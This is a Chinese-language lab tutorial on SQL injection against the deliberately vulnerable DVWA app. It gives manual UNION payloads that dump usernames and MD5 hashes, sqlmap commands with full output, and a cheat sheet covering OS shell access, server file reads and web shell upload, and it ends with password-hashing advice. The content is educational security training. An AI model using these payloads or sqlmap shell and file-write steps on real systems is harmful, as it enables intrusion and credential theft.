文章目录
- 1. 环境准备
- 1.1 获取 Session Cookie
- 2. 手工 SQL 注入测试
- 2.1 判断注入点
- 2.2 确定字段数
- 2.3 联合查询测试
- 2.4 获取数据库名
- 2.5 获取表名(解决字符集冲突)
- 问题:字符集冲突错误
- 解决方案:使用 HEX 编码
- 2.6 获取列名
- 2.7 获取用户数据
- 3. Sqlmap 自动化注入
- 3.1 Sqlmap 简介
- 3.2 安装与配置
- 3.3 基础命令详解
- 命令结构
- 参数说明
- 3.4 实战步骤
- 步骤 1:枚举所有数据库
- 步骤 2:获取 dvwa 数据库的表
- 步骤 3:获取 users 表的列名
- 步骤 4:获取所有用户数据
- 3.5 注入技术对比
- 3.6 常用命令速查
- 获取数据库信息
- 获取表和数据
- 高级功能
- 4. 数据获取与分析
- 4.1 获取到的完整数据
- 4.2 密码安全分析
- 4.3 数据导出格式
1. 环境准备
1.1 获取 Session Cookie
- 使用浏览器访问 DVWA 并登录
- 按
F12打开开发者工具 - 点击Network(网络)标签
- 刷新页面,点击任意请求
- 在Request Headers中找到
Cookie:行 - 复制完整的 Cookie 值
示例 Cookie:
PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low2. 手工 SQL 注入测试
2.1 判断注入点
测试步骤:
在 SQL Injection 页面的输入框中输入:
1'预期结果:页面报错,说明存在 SQL 注入漏洞。
原因分析:
-- 原始 SQLSELECTfirst_name,last_nameFROMusersWHEREuser_id='1'-- 注入后 SQLSELECTfirst_name,last_nameFROMusersWHEREuser_id='1''-- 多余的单引号导致语法错误2.2 确定字段数
测试语句:
1'orderby3#结果:页面报错
测试语句:
1'orderby2#结果:页面正常
结论:查询语句包含2 个字段
原理说明:
-- order by 3 报错,说明只有 2 列SELECTfirst_name,last_nameFROMusersWHEREuser_id='1'orderby3#-- 第 3 列不存在,导致错误2.3 联合查询测试
测试语句:
-1'unionselect1,2#结果:页面显示1和2
说明:该注入点支持 UNION 查询注入
原理解析:
SELECTfirst_name,last_nameFROMusersWHEREuser_id='-1'UNIONSELECT1,2#为什么要用 -1?
- 使用
-1确保第一条查询不返回结果 - 这样 UNION 查询的结果才会显示在页面上
2.4 获取数据库名
注入语句:
-1'unionselect1,database()#执行结果:
ID: -1' union select 1,database()# First name: 1 Surname: dvwa结论:当前数据库名为dvwa
2.5 获取表名(解决字符集冲突)
问题:字符集冲突错误
尝试语句:
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#错误信息:
Illegal mix of collations for operation 'UNION'错误原因:数据库表字符集与查询结果字符集不匹配
解决方案:使用 HEX 编码
注入语句:
-1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema='dvwa'#执行结果:
Surname:7573657273十六进制解码:
7573657273 → users结论:DVWA 数据库包含这个表:
- users(用户表)
2.6 获取列名
注入语句:
-1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users'#执行结果(十六进制):
757365725f69642c66697273745f6e616d652c6c6173745f6e616d652c757365722c70617373776f72642c6176617461722c6c6173745f6c6f67696e2c6661696c65645f6c6f67696e解码结果:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login2.7 获取用户数据
注入语句:
-1'unionselect1,hex(group_concat(user,0x3a,password))fromusers#说明:0x3a是冒号:的十六进制,用于分隔用户名和密码
执行结果(十六进制):
61646d696e3a32313233326632393761353761356137343338393461306534613830316663332c...解码结果:
admin:21232f297a57a5a743894a0e4a801fc3, gordonb:e99a18c428cb38d5f260853678922e03, 1337:8d3533d75ae2c3966d7e0d4fcc69216b, pablo:0d107d09f5bbe40cade3de5c71e9e9b7, smithy:5f4dcc3b5aa765d61d8327deb882cf99密码破解(MD5):
| 用户名 | MD5 哈希 | 明文密码 |
|---|---|---|
| admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
3. Sqlmap 自动化注入
3.1 Sqlmap 简介
Sqlmap是一款开源的 SQL 注入工具,可以:
- 自动检测和利用 SQL 注入漏洞
- 支持多种数据库(MySQL、Oracle、PostgreSQL 等)
- 支持多种注入技术(布尔盲注、错误注入、时间盲注、UNION 查询)
- 直接获取数据库数据
3.2 安装与配置
Windows 环境:
- 下载 sqlmap:
https://github.com/sqlmapproject/sqlmap- 添加到系统 PATH(可选):
[Environment]::SetEnvironmentVariable("Path",$env:Path+";D:\Programs\Tools\sqlmap",[EnvironmentVariableTarget]::User)- 使用方法:
# 方式 1:直接运行(需要配置 PATH)sqlmap.py[选项]# 方式 2:指定完整路径python D:\Programs\Tools\sqlmap\sqlmap.py[选项]# 方式 3:在 sqlmap 目录下运行cd D:\Programs\Tools\sqlmap python sqlmap.py[选项]3.3 基础命令详解
命令结构
sqlmap-u"目标 URL"--cookie="会话 Cookie"--功能参数参数说明
| 参数 | 作用 | 示例 |
|---|---|---|
-u | 指定目标 URL | -u "http://..." |
--cookie | 设置 Cookie | --cookie="PHPSESSID=xxx; security=low" |
--dbs | 枚举所有数据库 | --dbs |
-D | 指定数据库 | -D dvwa |
--tables | 列出表 | --tables |
-T | 指定表 | -T users |
--columns | 列出列 | --columns |
--dump | 导出数据 | --dump |
--batch | 自动确认 | --batch |
--technique | 指定注入技术 | --technique=U |
3.4 实战步骤
步骤 1:枚举所有数据库
命令:
python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"--dbs--batch输出结果:
___ __H__ ___ ___[)]_____ ___ ___ {1.10.6.12#dev} |_ -| . [(] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [*] starting @ 17:46:06 /2026-06-03/ [17:46:08] [INFO] testing connection to the target URL [17:46:08] [INFO] checking if the target is protected by some kind of WAF/IPS [17:46:08] [INFO] testing if the target URL content is stable [17:46:09] [INFO] target URL content is stable [17:46:09] [INFO] testing if GET parameter 'id' is dynamic [17:46:09] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [17:48:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [17:48:13] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable [17:48:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [17:48:18] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable [17:48:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [17:48:29] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [17:48:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [17:48:29] [INFO] target URL appears to have 2 columns in query [17:48:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable sqlmap identified the following injection point(s) with a total of 146 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 8669=8669#&Submit=Submit Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: id=1' AND EXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT (ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 3061 FROM (SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit --- [17:51:09] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: PHP 7.3.4, Apache 2.4.39 back-end DBMS: MySQL >= 5.1 [17:51:09] [INFO] fetching database names available databases [2]: [*] dvwa [*] information_schema [*] ending @ 17:51:09 /2026-06-03/关键信息:
- 发现4 种注入方式
- 发现2 个数据库:dvwa、information_schema
- 后端 DBMS:MySQL >= 5.1
- Web 服务器:Windows + PHP 7.3.4 + Apache 2.4.39
步骤 2:获取 dvwa 数据库的表
命令:
python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa--tables--batch输出结果:
Database: dvwa [1 table] +-------+ | users | +-------+说明:成功获取 dvwa 数据库中的表:users
步骤 3:获取 users 表的列名
命令:
python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa-T users--columns--batch输出结果:
Database: dvwa Table: users [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+字段说明:
| 字段名 | 类型 | 说明 |
|---|---|---|
| user | varchar(15) | 用户名 |
| password | varchar(32) | 密码(MD5 哈希) |
| user_id | int(6) | 用户 ID |
| first_name | varchar(15) | 名 |
| last_name | varchar(15) | 姓 |
| avatar | varchar(70) | 头像路径 |
| last_login | timestamp | 最后登录时间 |
| failed_login | int(3) | 登录失败次数 |
步骤 4:获取所有用户数据
命令:
python sqlmap.py-u"http://192.168.0.107/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="PHPSESSID=eoi3eg7u1s1jpm4sp14dtlfo37; security=low"-D dvwa-T users--dump--batch输出结果:
Database: dvwa Table: users [5 entries] +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ | user_id | user | avatar | password | last_name | first_name | last_login | failed_login | +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ | 1 | admin | /DVWA/hackable/users/admin.jpg | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2026-05-12 23:26:37 | 3 | | 2 | gordonb | /DVWA/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2026-04-23 08:52:29 | 0 | | 3 | 1337 | /DVWA/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2026-04-23 08:52:29 | 0 | | 4 | pablo | /DVWA/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2026-04-23 08:52:29 | 0 | | 5 | smithy | /DVWA/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2026-04-23 08:52:29 | 0 | +---------+---------+----------------------------------+---------------------------------------------+---------+------------+---------------------+--------------+ [17:55:28] [INFO] table 'dvwa.users' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\192.168.0.107\dump\dvwa\users.csv'3.5 注入技术对比
| 注入类型 | 原理 | 速度 | 推荐使用场景 |
|---|---|---|---|
| UNION 查询 | 使用 UNION 关键字合并查询结果 | ⭐⭐⭐⭐⭐ | 首选,可直接获取数据 |
| 错误注入 | 利用数据库错误信息泄露数据 | ⭐⭐⭐⭐ | 备选方案,速度较快 |
| 布尔盲注 | 根据页面返回差异判断 | ⭐⭐ | 其他方法失败时使用 |
| 时间盲注 | 根据响应时间判断 | ⭐ | 最后的选择,速度慢 |
Sqlmap 检测到的注入 Payload:
1. 布尔盲注:
id=1'ORNOT8669=8669#&Submit=Submit2. 错误注入:
id=1'ANDEXTRACTVALUE(3115,CONCAT(0x5c,0x716b706271,(SELECT(ELT(3115=3115,1))),0x71787a7871))-- YXzB&Submit=Submit3. 时间盲注:
id=1'AND(SELECT3061FROM(SELECT(SLEEP(5)))taHX)-- BpBS&Submit=Submit4. UNION 查询:
id=1'UNIONALLSELECTCONCAT(0x716b706271,0x6470647544566f535a6f566f575346624270466947536d744956424a6f41736b7972784c70636646,0x71787a7871),NULL#&Submit=Submit3.6 常用命令速查
获取数据库信息
# 获取所有数据库sqlmap-u"URL"--cookie="Cookie"--dbs--batch# 获取当前数据库sqlmap-u"URL"--cookie="Cookie"--current-db--batch# 获取数据库用户sqlmap-u"URL"--cookie="Cookie"--current-user--batch# 获取数据库版本sqlmap-u"URL"--cookie="Cookie"--dbms-version--batch获取表和数据
# 获取指定数据库的所有表sqlmap-u"URL"--cookie="Cookie"-D dvwa--tables--batch# 获取指定表的列sqlmap-u"URL"--cookie="Cookie"-D dvwa-T users--columns--batch# 获取指定表的数据sqlmap-u"URL"--cookie="Cookie"-D dvwa-T users--dump--batch# 获取所有数据库的所有数据sqlmap-u"URL"--cookie="Cookie"--dump-all--batch高级功能
# 只使用 UNION 注入技术(最快)sqlmap-u"URL"--cookie="Cookie"--technique=U--batch# 获取数据库权限sqlmap-u"URL"--cookie="Cookie"--privileges--batch# 获取操作系统 Shell(高危!)sqlmap-u"URL"--cookie="Cookie"--os-shell--batch# 读取服务器文件sqlmap-u"URL"--cookie="Cookie"--file-read="C:/Windows/win.ini"--batch# 写入文件到服务器sqlmap-u"URL"--cookie="Cookie"--file-write="./shell.php"--file-dest="./DVWA/shell.php"--batch4. 数据获取与分析
4.1 获取到的完整数据
users 表数据:
| user_id | user | first_name | last_name | password (MD5) | password (明文) |
|---|---|---|---|---|---|
| 1 | admin | admin | admin | 21232f297a57a5a743894a0e4a801fc3 | admin |
| 2 | gordonb | Gordon | Brown | e99a18c428cb38d5f260853678922e03 | abc123 |
| 3 | 1337 | Hack | Me | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
| 4 | pablo | Pablo | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| 5 | smithy | Bob | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
4.2 密码安全分析
问题:
- 所有密码都使用MD5哈希(不安全)
- 密码强度极弱(如 admin、abc123、password)
- 没有使用盐值(salt)
MD5 哈希特点:
- 快速计算
- 容易受到彩虹表攻击
- 不适合存储密码
推荐方案:
- 使用bcrypt、Argon2或PBKDF2
- 添加随机盐值
- 增加计算成本因子
4.3 数据导出格式
Sqlmap 支持多种导出格式:
CSV 文件:
user_id,user,avatar,password,last_name,first_name,last_login,failed_login 1,admin,/DVWA/hackable/users/admin.jpg,21232f297a57a5a743894a0e4a801fc3,admin,admin,2026-05-12 23:26:37,3SQL 文件:
INSERTINTOusersVALUES(1,'admin','admin','21232f297a57a5a743894a0e4a801fc3',...);⚠️ 法律免责声明:
本文所有技术内容仅用于学习和研究目的。未经授权对他人系统进行测试是违法行为。请在使用本文所述技术时,确保您已获得合法授权。